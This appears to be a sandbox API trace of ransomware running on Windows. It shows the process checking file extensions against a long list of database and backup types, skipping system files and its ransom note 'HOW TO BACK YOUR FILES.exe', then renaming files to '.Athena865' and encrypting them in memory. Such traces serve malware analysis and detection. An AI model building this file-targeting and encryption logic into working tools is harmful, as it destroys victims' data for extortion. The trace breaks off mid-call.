[0108.766] lstrlenW (lpString="mdn") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="mdn") returned -1 [0108.766] lstrlenW (lpString="mdt") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="mdt") returned -1 [0108.766] lstrlenW (lpString="mfd") returned 3 [0108.766] lstrcmpiW (lpString1="dat", lpString2="mfd") returned -1 [0108.767] lstrlenW (lpString="mpd") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="mpd") returned -1 [0108.767] lstrlenW (lpString="mrg") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="mrg") returned -1 [0108.767] lstrlenW (lpString="mud") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="mud") returned -1 [0108.767] lstrlenW (lpString="mwb") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="mwb") returned -1 [0108.767] lstrlenW (lpString="myd") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="myd") returned -1 [0108.767] lstrlenW (lpString="ndf") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="ndf") returned -1 [0108.767] lstrlenW (lpString="nnt") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="nnt") returned -1 [0108.767] lstrlenW (lpString="nrmlib") returned 6 [0108.767] lstrcmpiW (lpString1="lm.dat", lpString2="nrmlib") returned -1 [0108.767] lstrlenW (lpString="ns2") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="ns2") returned -1 [0108.767] lstrlenW (lpString="ns3") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="ns3") returned -1 [0108.767] lstrlenW (lpString="ns4") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="ns4") returned -1 [0108.767] lstrlenW (lpString="nsf") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="nsf") returned -1 [0108.767] lstrlenW (lpString="nv") returned 2 [0108.767] lstrcmpiW (lpString1="at", lpString2="nv") returned -1 [0108.767] lstrlenW (lpString="nv2") returned 3 [0108.767] lstrcmpiW (lpString1="dat", lpString2="nv2") returned -1 [0108.767] lstrlenW (lpString="nwdb") returned 4 [0108.767] lstrcmpiW (lpString1=".dat", lpString2="nwdb") returned -1 [0108.767] lstrlenW (lpString="nyf") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="nyf") returned -1 [0108.768] lstrlenW (lpString="odb") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.768] lstrlenW (lpString="odb") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="odb") returned -1 [0108.768] lstrlenW (lpString="oqy") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="oqy") returned -1 [0108.768] lstrlenW (lpString="ora") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="ora") returned -1 [0108.768] lstrlenW (lpString="orx") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="orx") returned -1 [0108.768] lstrlenW (lpString="owc") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="owc") returned -1 [0108.768] lstrlenW (lpString="p96") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="p96") returned -1 [0108.768] lstrlenW (lpString="p97") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="p97") returned -1 [0108.768] lstrlenW (lpString="pan") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="pan") returned -1 [0108.768] lstrlenW (lpString="pdb") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="pdb") returned -1 [0108.768] lstrlenW (lpString="pdm") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="pdm") returned -1 [0108.768] lstrlenW (lpString="pnz") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="pnz") returned -1 [0108.768] lstrlenW (lpString="qry") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="qry") returned -1 [0108.768] lstrlenW (lpString="qvd") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="qvd") returned -1 [0108.768] lstrlenW (lpString="rbf") returned 3 [0108.768] lstrcmpiW (lpString1="dat", lpString2="rbf") returned -1 [0108.768] lstrlenW (lpString="rctd") returned 4 [0108.769] lstrcmpiW (lpString1=".dat", lpString2="rctd") returned -1 [0108.769] lstrlenW (lpString="rod") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="rod") returned -1 [0108.769] lstrlenW (lpString="rodx") returned 4 [0108.769] lstrcmpiW (lpString1=".dat", lpString2="rodx") returned -1 [0108.769] lstrlenW (lpString="rpd") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="rpd") returned -1 [0108.769] lstrlenW (lpString="rsd") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="rsd") returned -1 [0108.769] lstrlenW (lpString="sas7bdat") returned 8 [0108.769] lstrcmpiW (lpString1="inlm.dat", lpString2="sas7bdat") returned -1 [0108.769] lstrlenW (lpString="sbf") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="sbf") returned -1 [0108.769] lstrlenW (lpString="scx") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="scx") returned -1 [0108.769] lstrlenW (lpString="sdb") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="sdb") returned -1 [0108.769] lstrlenW (lpString="sdc") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="sdc") returned -1 [0108.769] lstrlenW (lpString="sdf") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="sdf") returned -1 [0108.769] lstrlenW (lpString="sis") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="sis") returned -1 [0108.769] lstrlenW (lpString="spq") returned 3 [0108.769] lstrcmpiW (lpString1="dat", lpString2="spq") returned -1 [0108.769] lstrlenW (lpString="te") returned 2 [0108.769] lstrcmpiW (lpString1="at", lpString2="te") returned -1 [0108.769] lstrlenW (lpString="teacher") returned 7 [0108.769] lstrcmpiW (lpString1="nlm.dat", lpString2="teacher") returned -1 [0108.769] lstrlenW (lpString="tmd") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="tmd") returned -1 [0108.770] lstrlenW (lpString="tps") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="tps") returned -1 [0108.770] lstrlenW (lpString="trc") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.770] lstrlenW (lpString="trc") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="trc") returned -1 [0108.770] lstrlenW (lpString="trm") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="trm") returned -1 [0108.770] lstrlenW (lpString="udb") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="udb") returned -1 [0108.770] lstrlenW (lpString="udl") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="udl") returned -1 [0108.770] lstrlenW (lpString="usr") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="usr") returned -1 [0108.770] lstrlenW (lpString="v12") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="v12") returned -1 [0108.770] lstrlenW (lpString="vis") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="vis") returned -1 [0108.770] lstrlenW (lpString="vpd") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="vpd") returned -1 [0108.770] lstrlenW (lpString="vvv") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="vvv") returned -1 [0108.770] lstrlenW (lpString="wdb") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="wdb") returned -1 [0108.770] lstrlenW (lpString="wmdb") returned 4 [0108.770] lstrcmpiW (lpString1=".dat", lpString2="wmdb") returned -1 [0108.770] lstrlenW (lpString="wrk") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="wrk") returned -1 [0108.770] lstrlenW (lpString="xdb") returned 3 [0108.770] lstrcmpiW (lpString1="dat", lpString2="xdb") returned -1 [0108.771] lstrlenW (lpString="xld") returned 3 [0108.771] lstrcmpiW (lpString1="dat", lpString2="xld") returned -1 [0108.771] lstrlenW (lpString="xmlff") returned 5 [0108.771] lstrcmpiW (lpString1="m.dat", lpString2="xmlff") returned -1 [0108.771] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.Athena865") returned 75 [0108.771] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.athena865"), dwFlags=0x1) returned 1 [0108.772] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0108.772] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1100368) returned 1 [0108.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0108.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538d20 [0108.772] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519d50 [0108.772] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519cc8) returned 1 [0108.773] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0108.773] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.773] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10cd50, lpName=0x0) returned 0x17c [0108.777] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10cd50) returned 0x2d50000 [0108.822] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519cc8) returned 1 [0108.823] CryptGenRandom (in: hProv=0x519cc8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0108.823] CryptReleaseContext (hProv=0x519cc8, dwFlags=0x0) returned 1 [0108.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540cd0 [0108.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540cd0 | out: hHeap=0x4f0000) returned 1 [0108.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0108.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0108.823] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0108.823] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0108.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0108.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0108.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0108.824] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0108.833] CloseHandle (hObject=0x17c) returned 1 [0108.833] CloseHandle (hObject=0x154) returned 1 [0108.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538d20 | out: hHeap=0x4f0000) returned 1 [0108.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519d50 | out: hHeap=0x4f0000) returned 1 [0108.833] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0108.837] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d94dbb3, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x3d94dbb3, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x3c28ab1e, ftLastWriteTime.dwHighDateTime=0x1ca03fa, nFileSizeHigh=0x0, nFileSizeLow=0x2e99a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hwruklm.dat", cAlternateFileName="")) returned 1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".") returned 1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="..") returned 1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="windows") returned -1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="bootmgr") returned 1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="temp") returned -1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="pagefile.sys") returned -1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="boot") returned 1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="ids.txt") returned -1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="ntuser.dat") returned -1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="perflogs") returned -1 [0108.837] lstrcmpiW (lpString1="hwruklm.dat", lpString2="MSBuild") returned -1 [0108.837] lstrlenW (lpString="hwruklm.dat") returned 11 [0108.837] lstrcpyW (in: lpString1=0x241e8ae, lpString2="hwruklm.dat" | out: lpString1="hwruklm.dat") returned="hwruklm.dat" [0108.838] lstrlenW (lpString="hwruklm.dat") returned 11 [0108.838] lstrlenW (lpString="Athena865") returned 9 [0108.838] lstrcmpiW (lpString1="ruklm.dat", lpString2="Athena865") returned 1 [0108.838] lstrlenW (lpString=".dll") returned 4 [0108.838] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".dll") returned 1 [0108.838] lstrlenW (lpString=".lnk") returned 4 [0108.838] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".lnk") returned 1 [0108.838] lstrlenW (lpString=".ini") returned 4 [0108.838] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".ini") returned 1 [0108.838] lstrlenW (lpString=".sys") returned 4 [0108.838] lstrcmpiW (lpString1="hwruklm.dat", lpString2=".sys") returned 1 [0108.838] lstrlenW (lpString="hwruklm.dat") returned 11 [0108.838] lstrlenW (lpString="bak") returned 3 [0108.838] lstrcmpiW (lpString1="dat", lpString2="bak") returned 1 [0108.838] lstrlenW (lpString="ba_") returned 3 [0108.838] lstrcmpiW (lpString1="dat", lpString2="ba_") returned 1 [0108.838] lstrlenW (lpString="dbb") returned 3 [0108.838] lstrcmpiW (lpString1="dat", lpString2="dbb") returned -1 [0108.838] lstrlenW (lpString="vmdk") returned 4 [0108.838] lstrcmpiW (lpString1=".dat", lpString2="vmdk") returned -1 [0108.838] lstrlenW (lpString="rar") returned 3 [0108.838] lstrcmpiW (lpString1="dat", lpString2="rar") returned -1 [0108.838] lstrlenW (lpString="zip") returned 3 [0108.838] lstrcmpiW (lpString1="dat", lpString2="zip") returned -1 [0108.838] lstrlenW (lpString="tgz") returned 3 [0108.838] lstrcmpiW (lpString1="dat", lpString2="tgz") returned -1 [0108.838] lstrlenW (lpString="vbox") returned 4 [0108.838] lstrcmpiW (lpString1=".dat", lpString2="vbox") returned -1 [0108.838] lstrlenW (lpString="vdi") returned 3 [0108.838] lstrcmpiW (lpString1="dat", lpString2="vdi") returned -1 [0108.838] lstrlenW (lpString="vhd") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="vhd") returned -1 [0108.839] lstrlenW (lpString="vhdx") returned 4 [0108.839] lstrcmpiW (lpString1=".dat", lpString2="vhdx") returned -1 [0108.839] lstrlenW (lpString="avhd") returned 4 [0108.839] lstrcmpiW (lpString1=".dat", lpString2="avhd") returned -1 [0108.839] lstrlenW (lpString="db") returned 2 [0108.839] lstrcmpiW (lpString1="at", lpString2="db") returned -1 [0108.839] lstrlenW (lpString="db2") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="db2") returned -1 [0108.839] lstrlenW (lpString="db3") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="db3") returned -1 [0108.839] lstrlenW (lpString="dbf") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="dbf") returned -1 [0108.839] lstrlenW (lpString="mdf") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="mdf") returned -1 [0108.839] lstrlenW (lpString="mdb") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="mdb") returned -1 [0108.839] lstrlenW (lpString="sql") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="sql") returned -1 [0108.839] lstrlenW (lpString="sqlite") returned 6 [0108.839] lstrcmpiW (lpString1="lm.dat", lpString2="sqlite") returned -1 [0108.839] lstrlenW (lpString="sqlite3") returned 7 [0108.839] lstrcmpiW (lpString1="klm.dat", lpString2="sqlite3") returned -1 [0108.839] lstrlenW (lpString="sqlitedb") returned 8 [0108.839] lstrcmpiW (lpString1="uklm.dat", lpString2="sqlitedb") returned 1 [0108.839] lstrlenW (lpString="xml") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="xml") returned -1 [0108.839] lstrlenW (lpString="$er") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="$er") returned 1 [0108.839] lstrlenW (lpString="4dd") returned 3 [0108.839] lstrcmpiW (lpString1="dat", lpString2="4dd") returned 1 [0108.840] lstrlenW (lpString="4dl") returned 3 [0108.840] lstrcmpiW (lpString1="dat", lpString2="4dl") returned 1 [0108.840] lstrlenW (lpString="^^^") returned 3 [0108.840] lstrcmpiW (lpString1="dat", lpString2="^^^") returned 1 [0108.840] lstrlenW (lpString="abs") returned 3 [0108.840] lstrcmpiW (lpString1="dat", lpString2="abs") returned 1 [0108.840] lstrlenW (lpString="abx") returned 3 [0108.840] lstrcmpiW (lpString1="dat", lpString2="abx") returned 1 [0108.840] lstrlenW (lpString="accdb") returned 5 [0108.840] lstrcmpiW (lpString1="m.dat", lpString2="accdb") returned 1 [0108.840] lstrlenW (lpString="accdc") returned 5 [0108.840] lstrcmpiW (lpString1="m.dat", lpString2="accdc") returned 1 [0108.840] lstrlenW (lpString="accde") returned 5 [0108.840] lstrcmpiW (lpString1="m.dat", lpString2="accde") returned 1 [0108.840] lstrlenW (lpString="accdr") returned 5 [0108.840] lstrcmpiW (lpString1="m.dat", lpString2="accdr") returned 1 [0108.840] lstrlenW (lpString="accdt") returned 5 [0108.840] lstrcmpiW (lpString1="m.dat", lpString2="accdt") returned 1 [0108.840] lstrlenW (lpString="accdw") returned 5 [0108.840] lstrcmpiW (lpString1="m.dat", lpString2="accdw") returned 1 [0108.840] lstrlenW (lpString="accft") returned 5 [0108.840] lstrcmpiW (lpString1="m.dat", lpString2="accft") returned 1 [0108.840] lstrlenW (lpString="adb") returned 3 [0108.840] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.840] lstrlenW (lpString="adb") returned 3 [0108.840] lstrcmpiW (lpString1="dat", lpString2="adb") returned 1 [0108.840] lstrlenW (lpString="ade") returned 3 [0108.840] lstrcmpiW (lpString1="dat", lpString2="ade") returned 1 [0108.840] lstrlenW (lpString="adf") returned 3 [0108.840] lstrcmpiW (lpString1="dat", lpString2="adf") returned 1 [0108.840] lstrlenW (lpString="adn") returned 3 [0108.840] lstrcmpiW (lpString1="dat", lpString2="adn") returned 1 [0108.841] lstrlenW (lpString="adp") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="adp") returned 1 [0108.841] lstrlenW (lpString="alf") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="alf") returned 1 [0108.841] lstrlenW (lpString="ask") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="ask") returned 1 [0108.841] lstrlenW (lpString="btr") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="btr") returned 1 [0108.841] lstrlenW (lpString="cat") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="cat") returned 1 [0108.841] lstrlenW (lpString="cdb") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="cdb") returned 1 [0108.841] lstrlenW (lpString="ckp") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="ckp") returned 1 [0108.841] lstrlenW (lpString="cma") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="cma") returned 1 [0108.841] lstrlenW (lpString="cpd") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="cpd") returned 1 [0108.841] lstrlenW (lpString="dacpac") returned 6 [0108.841] lstrcmpiW (lpString1="lm.dat", lpString2="dacpac") returned 1 [0108.841] lstrlenW (lpString="dad") returned 3 [0108.841] lstrcmpiW (lpString1="dat", lpString2="dad") returned 1 [0108.841] lstrlenW (lpString="dadiagrams") returned 10 [0108.841] lstrcmpiW (lpString1="wruklm.dat", lpString2="dadiagrams") returned 1 [0108.841] lstrlenW (lpString="daschema") returned 8 [0108.841] lstrcmpiW (lpString1="uklm.dat", lpString2="daschema") returned 1 [0108.841] lstrlenW (lpString="db-journal") returned 10 [0108.841] lstrcmpiW (lpString1="wruklm.dat", lpString2="db-journal") returned 1 [0108.841] lstrlenW (lpString="db-shm") returned 6 [0108.841] lstrcmpiW (lpString1="lm.dat", lpString2="db-shm") returned 1 [0108.841] lstrlenW (lpString="db-wal") returned 6 [0108.842] lstrcmpiW (lpString1="lm.dat", lpString2="db-wal") returned 1 [0108.842] lstrlenW (lpString="dbc") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dbc") returned -1 [0108.842] lstrlenW (lpString="dbs") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dbs") returned -1 [0108.842] lstrlenW (lpString="dbt") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dbt") returned -1 [0108.842] lstrlenW (lpString="dbv") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dbv") returned -1 [0108.842] lstrlenW (lpString="dbx") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dbx") returned -1 [0108.842] lstrlenW (lpString="dcb") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dcb") returned -1 [0108.842] lstrlenW (lpString="dct") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dct") returned -1 [0108.842] lstrlenW (lpString="dcx") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dcx") returned -1 [0108.842] lstrlenW (lpString="ddl") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="ddl") returned -1 [0108.842] lstrlenW (lpString="dlis") returned 4 [0108.842] lstrcmpiW (lpString1=".dat", lpString2="dlis") returned -1 [0108.842] lstrlenW (lpString="dp1") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dp1") returned -1 [0108.842] lstrlenW (lpString="dqy") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dqy") returned -1 [0108.842] lstrlenW (lpString="dsk") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dsk") returned -1 [0108.842] lstrlenW (lpString="dsn") returned 3 [0108.842] lstrcmpiW (lpString1="dat", lpString2="dsn") returned -1 [0108.842] lstrlenW (lpString="dtsx") returned 4 [0108.842] lstrcmpiW (lpString1=".dat", lpString2="dtsx") returned -1 [0108.843] lstrlenW (lpString="dxl") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="dxl") returned -1 [0108.843] lstrlenW (lpString="eco") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="eco") returned -1 [0108.843] lstrlenW (lpString="ecx") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="ecx") returned -1 [0108.843] lstrlenW (lpString="edb") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="edb") returned -1 [0108.843] lstrlenW (lpString="epim") returned 4 [0108.843] lstrcmpiW (lpString1=".dat", lpString2="epim") returned -1 [0108.843] lstrlenW (lpString="fcd") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="fcd") returned -1 [0108.843] lstrlenW (lpString="fdb") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="fdb") returned -1 [0108.843] lstrlenW (lpString="fic") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="fic") returned -1 [0108.843] lstrlenW (lpString="flexolibrary") returned 12 [0108.843] lstrlenW (lpString="fm5") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="fm5") returned -1 [0108.843] lstrlenW (lpString="fmp") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="fmp") returned -1 [0108.843] lstrlenW (lpString="fmp12") returned 5 [0108.843] lstrcmpiW (lpString1="m.dat", lpString2="fmp12") returned 1 [0108.843] lstrlenW (lpString="fmpsl") returned 5 [0108.843] lstrcmpiW (lpString1="m.dat", lpString2="fmpsl") returned 1 [0108.843] lstrlenW (lpString="fol") returned 3 [0108.843] lstrcmpiW (lpString1="dat", lpString2="fol") returned -1 [0108.843] lstrlenW (lpString="fp3") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="fp3") returned -1 [0108.844] lstrlenW (lpString="fp4") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="fp4") returned -1 [0108.844] lstrlenW (lpString="fp5") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="fp5") returned -1 [0108.844] lstrlenW (lpString="fp7") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="fp7") returned -1 [0108.844] lstrlenW (lpString="fpt") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="fpt") returned -1 [0108.844] lstrlenW (lpString="frm") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="frm") returned -1 [0108.844] lstrlenW (lpString="gdb") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.844] lstrlenW (lpString="gdb") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="gdb") returned -1 [0108.844] lstrlenW (lpString="grdb") returned 4 [0108.844] lstrcmpiW (lpString1=".dat", lpString2="grdb") returned -1 [0108.844] lstrlenW (lpString="gwi") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="gwi") returned -1 [0108.844] lstrlenW (lpString="hdb") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="hdb") returned -1 [0108.844] lstrlenW (lpString="his") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="his") returned -1 [0108.844] lstrlenW (lpString="ib") returned 2 [0108.844] lstrcmpiW (lpString1="at", lpString2="ib") returned -1 [0108.844] lstrlenW (lpString="idb") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="idb") returned -1 [0108.844] lstrlenW (lpString="ihx") returned 3 [0108.844] lstrcmpiW (lpString1="dat", lpString2="ihx") returned -1 [0108.844] lstrlenW (lpString="itdb") returned 4 [0108.844] lstrcmpiW (lpString1=".dat", lpString2="itdb") returned -1 [0108.844] lstrlenW (lpString="itw") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="itw") returned -1 [0108.845] lstrlenW (lpString="jet") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="jet") returned -1 [0108.845] lstrlenW (lpString="jtx") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="jtx") returned -1 [0108.845] lstrlenW (lpString="kdb") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="kdb") returned -1 [0108.845] lstrlenW (lpString="kexi") returned 4 [0108.845] lstrcmpiW (lpString1=".dat", lpString2="kexi") returned -1 [0108.845] lstrlenW (lpString="kexic") returned 5 [0108.845] lstrcmpiW (lpString1="m.dat", lpString2="kexic") returned 1 [0108.845] lstrlenW (lpString="kexis") returned 5 [0108.845] lstrcmpiW (lpString1="m.dat", lpString2="kexis") returned 1 [0108.845] lstrlenW (lpString="lgc") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="lgc") returned -1 [0108.845] lstrlenW (lpString="lwx") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="lwx") returned -1 [0108.845] lstrlenW (lpString="maf") returned 3 [0108.845] lstrcmpiW (lpString1="dat", lpString2="maf") returned -1 [0108.845] lstrlenW 